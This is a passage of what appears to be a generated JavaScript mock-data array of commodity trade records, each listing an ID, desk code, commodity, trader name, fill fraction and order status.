'D-2278',\n    commodity: 'Oats',\n    traderName: 'Eddie Collier',\n    filledQuantity: 0.4391332611050921,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'ade4fc5f-143c-57d3-9aff-bb73e0c4cb91',\n    desk: 'D-8088',\n    commodity: 'Cotton No.2',\n    traderName: 'Randy Horton',\n    filledQuantity: 0.4539785604900459,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '40a5bf58-9314-5046-99b2-f5c0ef42e598',\n    desk: 'D-1523',\n    commodity: 'Cotton No.2',\n    traderName: 'Virginia Douglas',\n    filledQuantity: 0.9567493226044831,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '561b4d4c-70ab-5f4b-b26e-e87339728293',\n    desk: 'D-1429',\n    commodity: 'Sugar No.14',\n    traderName: 'Lela Cunningham',\n    filledQuantity: 0.18127620545073375,\n    status: 'Rejected',\n  },\n  {\n    id: '93859c37-d158-5cb4-a9eb-a2b2d6bdb28b',\n    desk: 'D-4687',\n    commodity: 'Sugar No.14',\n    traderName: 'Ian Norton',\n    filledQuantity: 0.6055132227700583,\n    status: 'Rejected',\n  },\n  {\n    id: 'aa703f8e-4a96-5655-98cb-3ea5b798ad72',\n    desk: 'D-1889',\n    commodity: 'Sugar No.14',\n    traderName: 'Evan Morris',\n    filledQuantity: 0.407198982888347,\n    status: 'Open',\n  },\n  {\n    id: '94534799-c911-5aeb-a0f8-b17aebd93936',\n    desk: 'D-3509',\n    commodity: 'Coffee C',\n    traderName: 'Steve Hart',\n    filledQuantity: 0.5375611152711095,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '8fffed75-63cc-556e-baf5-eee7ca12d48f',\n    desk: 'D-474',\n    commodity: 'Wheat',\n    traderName: 'Marvin Rios',\n    filledQuantity: 0.9431855233126833,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'adbec39c-5481-500e-b813-d03094bb96c0',\n    desk: 'D-1294',\n    commodity: 'Sugar No.11',\n    traderName: 'Adam Anderson',\n    filledQuantity: 0.6335130816856401,\n    status: 'Rejected',\n  },\n  {\n    id: 'fc1e7f6a-e235-53ae-ab41-7c6130caa085',\n    desk: 'D-2391',\n    commodity: 'Cocoa',\n    traderName: 'Austin Chambers',\n    filledQuantity: 0.8607138605948271,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'b4cf5197-f388-55fe-8933-e4a019121b6a',\n    desk: 'D-3444',\n    commodity: 'Adzuki bean',\n    traderName: 'Virgie Massey',\n    filledQuantity: 0.40006891798759475,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '667b4761-b263-5c4c-bbff-6c3c073a3ca5',\n    desk: 'D-1223',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Mark Cortez',\n    filledQuantity: 0.4825927576150357,\n    status: 'Rejected',\n  },\n  {\n    id: '9398a9d6-4665-5efa-a58a-b9c8006b8161',\n    desk: 'D-1192',\n    commodity: 'Soybeans',\n    traderName: 'Alex Mack',\n    filledQuantity: 0.7543978871607951,\n    status: 'Filled',\n  },\n  {\n    id: '93b61d8b-e5c7-5bd3-9a2c-8d54d65f0234',\n    desk: 'D-594',\n    commodity: 'Oats',\n    traderName: 'Viola Page',\n    filledQuantity: 0.7671992174763612,\n    status: 'Filled',\n  },\n  {\n    id: '082ee086-4ca4-5435-9b00-5a1ee84e1b3f',\n    desk: 'D-5247',\n    commodity: 'Rapeseed',\n    traderName: 'Jean Craig',\n    filledQuantity: 0.6694073624595469,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'e75b260d-fd17-5a95-96d9-e05c67d4fa2a',\n    desk: 'D-7971',\n    commodity: 'Rough Rice',\n    traderName: 'Virgie Barker',\n    filledQuantity: 0.8371273314730504,\n    status: 'Filled',\n  },\n  {\n    id: '697310a4-12e5-5617-9267-faf19cd26a33',\n    desk: 'D-5387',\n    commodity: 'Sugar No.11',\n    traderName: 'Bill Joseph',\n    filledQuantity: 0.6125830428946863,\n    status: 'Rejected',\n  },\n  {\n    id: '7b2dc8e6-273f-5701-aa37-993800bc9ef1',\n    desk: 'D-8059',\n    commodity: 'Rapeseed',\n    traderName: 'John Anderson',\n    filledQuantity: 0.4437171966656375,\n    status: 'Rejected',\n  },\n  {\n    id: '45ded38a-3ac2-5f3e-b334-e1bb6221b212',\n    desk: 'D-2321',\n    commodity: 'Oats',\n    traderName: 'Leon Jacobs',\n    filledQuantity: 0.11606812487445951,\n    status: 'Filled',\n  },\n  {\n    id: '4b04aa91-4921-5bdd-91c8-40bce5d678b6',\n    desk: 'D-2730',\n    commodity: 'Milk',\n    traderName: 'Ada Rowe',\n    filledQuantity: 0.4711698320946876,\n    status: 'Filled',\n  },\n  {\n    id: 'f8a9562d-02e4-5a5e-9800-3f2e84926701',\n    desk: 'D-8605',\n    commodity: 'Wheat',\n    traderName: 'Harry Garrett',\n    filledQuantity: 0.5865080647022175,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'e5a3cc2b-4ce9-5418-9697-2b1deaced5d6',\n    desk: 'D-9428',\n    commodity: 'Sugar No.14',\n    traderName: 'Vernon Bowen',\n    filledQuantity: 0.09028256374913853,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '356b87c5-b3ea-54bb-a62b-28a0a8793770',\n    desk: 'D-7083',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Frank Weber',\n    filledQuantity: 0.57327852004111,\n    status: 'Filled',\n  },\n  {\n    id: '961d891a-70d4-5725-80c6-459f710db02b',\n    desk: 'D-5408',\n    commodity: 'Rough Rice',\n    traderName: 'Lenora Lamb',\n    filledQuantity: 0.07783614413418118,\n    status: 'Open',\n  },\n  {\n    id: '9fa93762-095f-500a-a059-b91e6cc4ea98',\n    desk: 'D-4924',\n    commodity: 'Sugar No.14',\n    traderName: 'Christian Abbott',\n    filledQuantity: 0.9482298048155008,\n    status: 'Filled',\n  },\n  {\n    id: '561c34bd-fa2a-5303-8973-1994b2a15ad9',\n    desk: 'D-6663',\n    commodity: 'Corn',\n    traderName: 'Lena Hill',\n    filledQuantity: 0.8127893980520517,\n    status: 'Filled',\n  },\n  {\n    id: '55293c3f-94e2-5ce3-b965-e35c5f0639a2',\n    desk: 'D-1114',\n    commodity: 'Sugar No.11',\n    traderName: 'Cecilia Mason',\n    filledQuantity: 0.9393481316466439,\n    status: 'Open',\n  },\n  {\n    id: '02eb1442-1902-50ca-a9a3-c2b048878290',\n    desk: 'D-1749',\n    commodity: 'Adzuki bean',\n    traderName: 'Julia Maldonado',\n    filledQuantity: 0.3119066455696203,\n    status: 'Filled',\n  },\n  {\n    id: '5c193801-1d91-5afa-a339-9c1d8f416e92',\n    desk: 'D-7306',\n    commodity: 'Wheat',\n    traderName: 'Jane Shaw',\n    filledQuantity: 0.5279746470757707,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '5e3c9e2f-6401-5a4c-afdf-4e89266c9017',\n    desk: 'D-7077',\n    commodity: 'Rough Rice',\n    traderName: 'Claudia Harmon',\n    filledQuantity: 0.54239663629993,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'd8ee32ee-d611-501f-b21b-b916c254d0e7',\n    desk: 'D-101',\n    commodity: 'Soybeans',\n    traderName: 'Glenn Allison',\n    filledQuantity: 0.8814050759417142,\n    status: 'Open',\n  },\n  {\n    id: '00c0882e-07d1-5c62-8a5d-69ec49084f38',\n    desk: 'D-7110',\n    commodity: 'Sugar No.11',\n    traderName: 'Henrietta Curtis',\n    filledQuantity: 0.4624904028771164,\n    status: 'Filled',\n  },\n  {\n    id: 'ac7688eb-3365-5e34-8d1b-f79c5aaf0b81',\n    desk: 'D-677',\n    commodity: 'Robusta coffee',\n    traderName: 'Elmer Bryan',\n    filledQuantity: 0.40958857531451887,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '4c2836fa-c51c-569b-8ad7-9140c3e7d63b',\n    desk: 'D-9920',\n    commodity: 'Milk',\n    traderName: 'Elizabeth Clark',\n    filledQuantity: 0.4049911026306198,\n    status: 'Open',\n  },\n  {\n    id: '6109f3ed-e043-5979-af12-3875c79aa79f',\n    desk: 'D-7787',\n    commodity: 'Adzuki bean',\n    traderName: 'Edgar Evans',\n    filledQuantity: 0.7634387200489934,\n    status: 'Filled',\n  },\n  {\n    id: 'f18a2566-c372-5638-8092-d2848a65a16c',\n    desk: 'D-6303',\n    commodity: 'Sugar No.14',\n    traderName: 'Lina Todd',\n    filledQuantity: 0.16883514465023725,\n    status: 'Filled',\n  },\n  {\n    id: '8bc49cb4-acdf-5a8b-be1c-95f3c593deef',\n    desk: 'D-73',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Gordon Baldwin',\n    filledQuantity: 0.6484654135505205,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'a476668c-dabb-5aa2-b530-428c731d7b3c',\n    desk: 'D-3452',\n    commodity: 'Oats',\n    traderName: 'Gussie Reynolds',\n    filledQuantity: 0.6928500781673739,\n    status: 'Open',\n  },\n  {\n    id: '30057e00-ec9d-5a37-82ff-dd6137399957',\n    desk: 'D-827',\n    commodity: 'Rapeseed',\n    traderName: 'Mitchell Matthews',\n    filledQuantity: 0.22168627332385762,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '1383a9a2-56fc-55e8-99d3-c457fc9fa2c5',\n    desk: 'D-1633',\n    commodity: 'Soybeans',\n    traderName: 'Jane Hammond',\n    filledQuantity: 0.2868775280153836,\n    status: 'Filled',\n  },\n  {\n    id: '7f7cc9da-bbf7-5aee-b68f-1ee94f5f89c2',\n    desk: 'D-1622',\n    commodity: 'Robusta coffee',\n    traderName: 'Georgie Tate',\n    filledQuantity: 0.9259330388579476,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '9584996b-09b8-5abf-8a20-71fbc617995e',\n    desk: 'D-696',\n    commodity: 'Oats',\n    traderName: 'Ethel Armstrong',\n    filledQuantity: 0.6007850088630033,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'ed0c3d0d-6cc2-5732-858f-6352178575ac',\n    desk: 'D-9020',\n    commodity: 'Soybean Meal',\n    traderName: 'Jack Santos',\n    filledQuantity: 0.6486944952602695,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '60d91d44-247a-5131-9388-f1d65db16e8c',\n    desk: 'D-5260',\n    commodity: 'Soybeans',\n    traderName: 'Charlotte Cunningham',\n    filledQuantity: 0.09144508891824116,\n    status: 'Filled',\n  },\n  {\n    id: '6cf3566d-5a3f-52d8-97a4-73dd58918142',\n    desk: 'D-5319',\n    commodity: 'Oats',\n    traderName: 'Hannah Wolfe',\n    filledQuantity: 0.8605679898648648,\n    status: 'Filled',\n  },\n  {\n    id: 'e6d2b6b1-fb2b-546e-a259-721dfc1a0a7c',\n    desk: 'D-2444',\n    commodity: 'Soybean Meal',\n    traderName: 'Willie Patrick',\n    filledQuantity: 0.5127380856706582,\n    status: 'Open',\n  },\n  {\n    id: 'b6d6ac58-8d0e-55b3-b8f9-d2adb0b3faa8',\n    desk: 'D-6901',\n    commodity: 'Sugar No.11',\n    traderName: 'Daisy Porter',\n    filledQuantity: 0.8720827421709538,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '8030ac87-ac3e-55fa-baa3-587249085cc8',\n    desk: 'D-6814',\n    commodity: 'Sugar No.11',\n    traderName: 'Patrick Ferguson',\n    filledQuantity: 0.19896190022105673,\n    status: 'Filled',\n  },\n  {\n    id: '1a418179-f135-5817-a6dc-1763d4f7ebb2',\n    desk: 'D-8029',\n    commodity: 'Adzuki bean',\n    traderName: 'Jose Buchanan',\n    filledQuantity: 0.13700966458214894,\n    status: 'Open',\n  },\n  {\n    id: 'f7864a66-0ac8-5ade-ac9c-8191d1aa3846',\n    desk: 'D-5221',\n    commodity: 'Robusta coffee',\n    traderName: 'Jordan Henry',\n    filledQuantity: 0.13788405524758057,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '020f45bb-c953-5e2a-b2f3-df651c2b44f8',\n    desk: 'D-7174',\n    commodity: 'Coffee C',\n    traderName: 'Connor Floyd',\n    filledQuantity: 0.9599152968005539,\n    status: 'Open',\n  },\n  {\n    id: 'ca47b7b8-98d5-547b-a187-b37616befdec',\n    desk: 'D-6977',\n    commodity: 'Soybean Oil',\n    traderName: 'Caleb Miles',\n    filledQuantity: 0.46562702352687246,\n    status: 'Filled',\n  },\n  {\n    id: '673d5d84-c70a-5469-a5f6-fed183257bf8',\n    desk: 'D-6344',\n    commodity: 'Wheat',\n    traderName: 'Elizabeth Dixon',\n    filledQuantity: 0.8978073507452912,\n    status: 'Open',\n  },\n  {\n    id: '6df57e0d-e389-5d06-942f-7179300a34ec',\n    desk: 'D-4484',\n    commodity: 'Cocoa',\n    traderName: 'Nina Ortiz',\n    filledQuantity: 0.8820417417592,\n    status: 'Filled',\n  },\n  {\n    id: '9a9b6eb7-05e5-5794-aa2f-acd817f30d7d',\n    desk: 'D-854',\n    commodity: 'Soybeans',\n    traderName: 'Lewis McBride',\n    filledQuantity: 0.8699638788552375,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '2abea9d1-218b-50fe-94da-576364d08282',\n    desk: 'D-1529',\n    commodity: 'Rough Rice',\n    traderName: 'Arthur Russell',\n    filledQuantity: 0.18258313641865023,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '65762dc4-fdf5-5d7b-90ef-a0be20efbd7e',\n    desk: 'D-4896',\n    commodity: 'Rapeseed',\n    traderName: 'Lucile Gill',\n    filledQuantity: 0.836220733018946,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'f8e7bff4-2294-5aa9-80ee-430766164909',\n    desk: 'D-4359',\n    commodity: 'Soybeans',\n    traderName: 'Rosalie Shaw',\n    filledQuantity: 0.20641564516980004,\n    status: 'Filled',\n  },\n  {\n    id: '947d2e1e-fd87-5df1-a2e4-dcd620956af3',\n    desk: 'D-2992',\n    commodity: 'Sugar No.14',\n    traderName: 'Leon Cortez',\n    filledQuantity: 0.27640399225383583,\n    status: 'Rejected',\n  },\n  {\n    id: 'b8010891-3c6c-5681-bb63-cc47703cddf3',\n    desk: 'D-4954',\n    commodity: 'Soybeans',\n    traderName: 'Jennie Clayton',\n    filledQuantity: 0.2528291641470548,\n    status: 'Filled',\n  },\n  {\n    id: '9318f3b7-8861-5d38-b79e-a03423f28ff5',\n    desk: 'D-1917',\n    commodity: 'Soybeans',\n    traderName: 'Evan Yates',\n    filledQuantity: 0.327082368678294,\n    status: 'Rejected',\n  },\n  {\n    id: 'ff3bea9e-3846-5ed6-a09e-26173880e81a',\n    desk: 'D-8926',\n    commodity: 'Oats',\n    traderName: 'Augusta Carpenter',\n    filledQuantity: 0.5060205712227949,\n    status: 'Filled',\n  },\n  {\n    id: 'a579acb0-4caf-524b-a972-628d6d8e9421',\n    desk: 'D-9265',\n    commodity: 'Sugar No.14',\n    traderName: 'Gerald McKenzie',\n    filledQuantity: 0.753277076847452,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '7a4bc79d-60bf-5038-87f4-a478edecdf43',\n    desk: 'D-6801',\n    commodity: 'Sugar No.14',\n    traderName: 'Dennis Frazier',\n    filledQuantity: 0.14595478458694724,\n    status: 'Filled',\n  },\n  {\n    id: '99e56777-0ee3-5771-9439-f37177e2b3bb',\n    desk: 'D-6846',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Thomas Smith',\n    filledQuantity: 0.5260112245194685,\n    status: 'Filled',\n  },\n  {\n    id: '63d1d1fb-7c1c-525f-b214-5a91d42e4bd0',\n    desk: 'D-1835',\n    commodity: 'Soybeans',\n    traderName: 'Warren Gardner',\n    filledQuantity: 0.6412226973304056,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'd0f5ddcb-4273-52fc-b376-c2b7891cb4a4',\n    desk: 'D-2494',\n    commodity: 'Cotton No.2',\n    traderName: 'Albert Griffith',\n    filledQuantity: 0.6776469588132784,\n    status: 'Rejected',\n  },\n  {\n    id: 'c41dc863-f609-5bc6-81b5-212d7a094e01',\n    desk: 'D-3989',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Irene Wolfe',\n    filledQuantity: 0.759032379047381,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '8e48d92f-09f8-57ad-9e8a-d4d313a9068e',\n    desk: 'D-3263',\n    commodity: 'Cotton No.2',\n    traderName: 'Eddie Glover',\n    filledQuantity: 0.401577299568026,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '67d0abcd-49fd-51dd-aebf-7c3cd1e8a741',\n    desk: 'D-5366',\n    commodity: 'Rough Rice',\n    traderName: 'Etta Greer',\n    filledQuantity: 0.9780777362172711,\n    status: 'Open',\n  },\n  {\n    id: 'fec31b73-d18b-50bd-b19f-5789d212ff47',\n    desk: 'D-4258',\n    commodity: 'Soybeans',\n    traderName: 'Nettie Dixon',\n    filledQuantity: 0.4353044106738688,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '982c7284-8af4-5c4e-b5fd-0be67f3974b5',\n    desk: 'D-1185',\n    commodity: 'Oats',\n    traderName: 'Emma Gomez',\n    filledQuantity: 0.5668686723372116,\n    status: 'Filled',\n  },\n  {\n    id: '81503a18-b7c8-5bdb-b0fa-2d98a46871ef',\n    desk: 'D-8891',\n    commodity: 'Soybean Oil',\n    traderName: 'Eric Parks',\n    filledQuantity: 0.7137033140452393,\n    status: 'Filled',\n  },\n  {\n    id: '239c90d5-b6ec-54f9-9dd2-fe73f5b9489e',\n    desk: 'D-1669',\n    commodity: 'Cocoa',\n    traderName: 'Mario Morgan',\n    filledQuantity: 0.716187147082549,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '984495dd-7ffb-5360-b7ed-c8f92d0cb761',\n    desk: 'D-9520',\n    commodity: 'Sugar No.11',\n    traderName: 'Clifford Diaz',\n    filledQuantity: 0.5322128851540616,\n    status: 'Rejected',\n  },\n  {\n    id: '4c7c8a62-a6ae-51d3-a7df-39579f1461b8',\n    desk: 'D-335',\n    commodity: 'Cotton No.2',\n    traderName: 'Melvin Fisher',\n    filledQuantity: 0.21332400769365273,\n    status: 'Filled',\n  },\n  {\n    id: 'a6ba9e40-2ce7-5f6d-abda-75a9c7ae8abd',\n    desk: 'D-4901',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Tillie Potter',\n    filledQuantity: 0.11376253790529507,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '56a78fa3-7033-5be1-9f07-2c57c69af0f4',\n    desk: 'D-7948',\n    commodity: 'Milk',\n    traderName: 'Mina Jackson',\n    filledQuantity: 0.021882794620586798,\n    status: 'Open',\n  },\n  {\n    id: '36f4e5c8-c466-54ab-adca-698da7fca3ac',\n    desk: 'D-3160',\n    commodity: 'Cotton No.2',\n    traderName: 'Sadie Lynch',\n    filledQuantity: 0.5820230368406618,\n    status: 'Filled',\n  },\n  {\n    id: '0a63ebb1-2ff7-5396-af2e-f3e7ddf70db9',\n    desk: 'D-6388',\n    commodity: 'Soybeans',\n    traderName: 'Augusta Boone',\n    filledQuantity: 0.20745885550354823,\n    status: 'Open',\n  },\n  {\n    id: '9119f66b-aade-5490-942d-bef561942b12',\n    desk: 'D-6395',\n    commodity: 'Rapeseed',\n    traderName: 'Anthony Grant',\n    filledQuantity: 0.18759469696969697,\n    status: 'Open',\n  },\n  {\n    id: '601d9704-ff32-5f84-a635-8085af7ea9d4',\n    desk: 'D-8527',\n    commodity: 'Soybeans',\n    traderName: 'Sarah Stokes',\n    filledQuantity: 0.9958730977559969,\n    status: 'Filled',\n  },\n  {\n    id: 'f4270e8b-7eec-5053-9657-16faa4c77108',\n    desk: 'D-2447',\n    commodity: 'Wheat',\n    traderName: 'Kenneth Thompson',\n    filledQuantity: 0.7215147684174232,\n    status: 'Filled',\n  },\n  {\n    id: '49e18fdd-0ea3-5ae0-adc8-05e96eb424f7',\n    desk: 'D-8272',\n    commodity: 'Rough Rice',\n    traderName: 'Tom Richardson',\n    filledQuantity: 0.10178603875629282,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '65511ff7-d830-5de3-9b92-61660297fb67',\n    desk: 'D-6016',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Rebecca Allen',\n    filledQuantity: 0.3697001407281781,\n    status: 'Filled',\n  },\n  {\n    id: 'dfe37aaa-e284-5f5b-97df-7a69250aa64b',\n    desk: 'D-1813',\n    commodity: 'Rough Rice',\n    traderName: 'Lucas Ray',\n    filledQuantity: 0.007795966356154472,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '6f00155c-8f99-5691-b87b-ef23bff14eef',\n    desk: 'D-804',\n    commodity: 'Sugar No.11',\n    traderName: 'Ruby Barber',\n    filledQuantity: 0.6615372187891272,\n    status: 'Filled',\n  },\n  {\n    id: '614c5f20-6a1d-5031-9fc8-d4a60df78d1a',\n    desk: 'D-3998',\n    commodity: 'Soybeans',\n    traderName: 'Hunter Swanson',\n    filledQuantity: 0.8843857331571995,\n    status: 'Rejected',\n  },\n  {\n    id: '62fff371-d80d-5654-a364-b849a0ae4a19',\n    desk: 'D-6260',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Cornelia Robinson',\n    filledQuantity: 0.4125294968409835,\n    status: 'Filled',\n  },\n  {\n    id: '5b6a0f2f-2ec3-5a70-b006-f4e930fa7ca4',\n    desk: 'D-5767',\n    commodity: 'Cotton No.2',\n    traderName: 'Ricardo Hernandez',\n    filledQuantity: 0.17815980105957402,\n    status: 'Filled',\n  },\n  {\n    id: '219369d4-18e5-57f1-9761-f32a9ae19e0b',\n    desk: 'D-1216',\n    commodity: 'Wheat',\n    traderName: 'Myrtie Massey',\n    filledQuantity: 0.9622784887078635,\n    status: 'Rejected',\n  },\n  {\n    id: 'e7a2d636-36dd-560b-aaea-1d4c0f2bc6b8',\n    desk: 'D-7374',\n    commodity: 'Wheat',\n    traderName: 'Gordon Sparks',\n    filledQuantity: 0.5062003179650238,\n    status: 'Open',\n  },\n  {\n    id: 'b6e1298c-922b-53f2-a434-cd99d50b08cc',\n    desk: 'D-9051',\n    commodity: 'Cotton No.2',\n    traderName: 'Steven Wilkerson',\n    filledQuantity: 0.08907510322119824,\n    status: 'Filled',\n  },\n  {\n    id: 'ca9c6a4f-5f79-59f3-9783-4fe9272225f6',\n    desk: 'D-9018',\n    commodity: 'Soybean Meal',\n    traderName: 'Bertha Robbins',\n    filledQuantity: 0.5928485931520475,\n    status: 'Filled',\n  },\n  {\n    id: 'd0b50e9d-242b-5e81-92af-2889e7a39cd5',\n    desk: 'D-600',\n    commodity: 'Cotton No.2',\n    traderName: 'Theresa Santiago',\n    filledQuantity: 0.44335126825518834,\n    status: 'Open',\n  },\n  {\n    id: '1bcc00a4-3afb-5c70-be8f-0afea02e811e',\n    desk: 'D-5711',\n    commodity: 'Soybeans',\n    traderName: 'Gene Weber',\n    filledQuantity: 0.42178051673755174,\n    status: 'Filled',\n  },\n  {\n    id: '25f0e17a-ab67-5075-945c-e67ad4f86c8f',\n    desk: 'D-8972',\n    commodity: 'Oats',\n    traderName: 'Helena Curry',\n    filledQuantity: 0.6762161395546731,\n    status: 'Open',\n  },\n  {\n    id: 'b9bf4be8-6299-58a6-bcd7-fc4685295ba4',\n    desk: 'D-6672',\n    commodity: 'Milk',\n    traderName: 'Lula Freeman',\n    filledQuantity: 0.5764499121265377,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'aab692c8-2094-5340-98f9-0baf69a36fe2',\n    desk: 'D-9971',\n    commodity: 'Soybeans',\n    traderName: 'Dominic Anderson',\n    filledQuantity: 0.4093620026681315,\n    status: 'Open',\n  },\n  {\n    id: '470a6aaa-7376-56c7-94be-a57bd65eb62d',\n    desk: 'D-981',\n    commodity: 'Coffee C',\n    traderName: 'Joseph Hicks',\n    filledQuantity: 0.9378176338494267,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '9db28b56-c269-5e6b-a4d8-d05afcf26627',\n    desk: 'D-3204',\n    commodity: 'Robusta coffee',\n    traderName: 'Isabel Ramsey',\n    filledQuantity: 0.8009162579120328,\n    status: 'Filled',\n  },\n  {\n    id: 'be6a547b-7330-54f5-8779-a89087e8bcdd',\n    desk: 'D-282',\n    commodity: 'Cocoa',\n    traderName: 'Amanda Garza',\n    filledQuantity: 0.06479994862243915,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '43466317-5930-5d4a-93b7-4a227a3e30fe',\n    desk: 'D-1035',\n    commodity: 'Sugar No.14',\n    traderName: 'Elmer Jacobs',\n    filledQuantity: 0.5697795836832906,\n    status: 'Filled',\n  },\n  {\n    id: '4eb1caa8-696d-58fe-bcab-138daec5814e',\n    desk: 'D-511',\n    commodity: 'Oats',\n    traderName: 'Alvin Phelps',\n    filledQuantity: 0.34110178169158306,\n    status: 'Filled',\n  },\n  {\n    id: 'c2b861af-eec9-56f6-90f3-f9388b7f6eaa',\n    desk: 'D-8137',\n    commodity: 'Soybeans',\n    traderName: 'Ina Willis',\n    filledQuantity: 0.7466206741825117,\n    status: 'Open',\n  },\n  {\n    id: 'c0637e33-1336-546e-b5e1-5a2ce426ec3a',\n    desk: 'D-8018',\n    commodity: 'Cotton No.2',\n    traderName: 'Estella Collins',\n    filledQuantity: 0.6232984752000935,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '13fcb1aa-c567-5c82-afd9-a3e04f71466a',\n    desk: 'D-7772',\n    commodity: 'Coffee C',\n    traderName: 'Lola Mann',\n    filledQuantity: 0.5522795010486808,\n    status: 'Open',\n  },\n  {\n    id: '3d0aad20-72a9-540d-bc41-7a310f91b5d9',\n    desk: 'D-630',\n    commodity: 'Soybean Oil',\n    traderName: 'Franklin Thornton',\n    filledQuantity: 0.28935298136039816,\n    status: 'Open',\n  },\n  {\n    id: 'f4f55b77-c9c0-5bed-8cdf-2b68aadacf6f',\n    desk: 'D-4613',\n    commodity: 'Milk',\n    traderName: 'Lela McBride',\n    filledQuantity: 0.2257077625570776,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'bdd212d2-a280-5942-87fc-e5a728edf171',\n    desk: 'D-3035',\n    commodity: 'Sugar No.11',\n    traderName: 'Edward McBride',\n    filledQuantity: 0.8091825099481069,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '6ece3ed1-90e4-55ef-8d7e-8222d2f0b1f2',\n    desk: 'D-9833',\n    commodity: 'Robusta coffee',\n    traderName: 'Joel Robertson',\n    filledQuantity: 0.8882958085944389,\n    status: 'Filled',\n  },\n  {\n    id: 'e10fe986-becd-5b39-8412-1d8826394a6d',\n    desk: 'D-8533',\n    commodity: 'Cotton No.2',\n    traderName: 'Rodney May',\n    filledQuantity: 0.28414283296666104,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'a0aed756-d08f-573b-a517-6d2d4bab9170',\n    desk: 'D-9899',\n    commodity: 'Adzuki bean',\n    traderName: 'Virginia Brady',\n    filledQuantity: 0.5070655441972339,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'e87a5504-3322-5d38-b952-e8d52463ed62',\n    desk: 'D-4518',\n    commodity: 'Soybeans',\n    traderName: 'Maria White',\n    filledQuantity: 0.5472522029302883,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '0e254661-cdfc-564a-836a-d0fd0980d0f0',\n    desk: 'D-2069',\n    commodity: 'Coffee C',\n    traderName: 'Essie Howard',\n    filledQuantity: 0.048437863714109325,\n    status: 'Rejected',\n  },\n  {\n    id: '10a70a63-eeaa-5132-ac98-0cec025913ea',\n    desk: 'D-9776',\n    commodity: 'Adzuki bean',\n    traderName: 'Lela Barnett',\n    filledQuantity: 0.4080142764438676,\n    status: 'Rejected',\n  },\n  {\n    id: 'd947d50c-00e6-52ac-894a-bfa47226b63d',\n    desk: 'D-4801',\n    commodity: 'Sugar No.14',\n    traderName: 'Mina Waters',\n    filledQuantity: 0.6062576958292551,\n    status: 'Filled',\n  },\n  {\n    id: '849330f7-418e-51af-aae4-ea0cdb1a85b1',\n    desk: 'D-9358',\n    commodity: 'Soybeans',\n    traderName: 'Chase Zimmerman',\n    filledQuantity: 0.7944031698860822,\n    status: 'Open',\n  },\n  {\n    id: '93d37354-ace3-54ab-a53f-f87db5b6fafd',\n    desk: 'D-7626',\n    commodity: 'Soybeans',\n    traderName: 'Estella Newton',\n    filledQuantity: 0.01828448110209451,\n    status: 'Filled',\n  },\n  {\n    id: '610d92e0-c078-5b83-b24a-a0f8bf9a0d37',\n    desk: 'D-3212',\n    commodity: 'Soybean Oil',\n    traderName: 'Ronald Zimmerman',\n    filledQuantity: 0.21670483307219476,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '9cf7794f-e8fd-5d61-a493-b83be5b3221f',\n    desk: 'D-2748',\n    commodity: 'Rough Rice',\n    traderName: 'Bobby Wagner',\n    filledQuantity: 0.5886395309721755,\n    status: 'Filled',\n  },\n  {\n    id: '9232fa2f-6f8e-58f7-951e-a5d7c25ddf7d',\n    desk: 'D-3854',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Derrick Wood',\n    filledQuantity: 0.6387955125349317,\n    status: 'Rejected',\n  },\n  {\n    id: 'ce533c5f-de65-5fb0-9086-c6d3c2b2abda',\n    desk: 'D-832',\n    commodity: 'Soybean Meal',\n    traderName: 'Justin Nguyen',\n    filledQuantity: 0.7956241780389076,\n    status: 'Open',\n  },\n  {\n    id: '385ce0d1-9881-5b92-a1ce-3c0486a5dc22',\n    desk: 'D-5726',\n    commodity: 'Rough Rice',\n    traderName: 'Isabelle Harvey',\n    filledQuantity: 0.06558734069995766,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 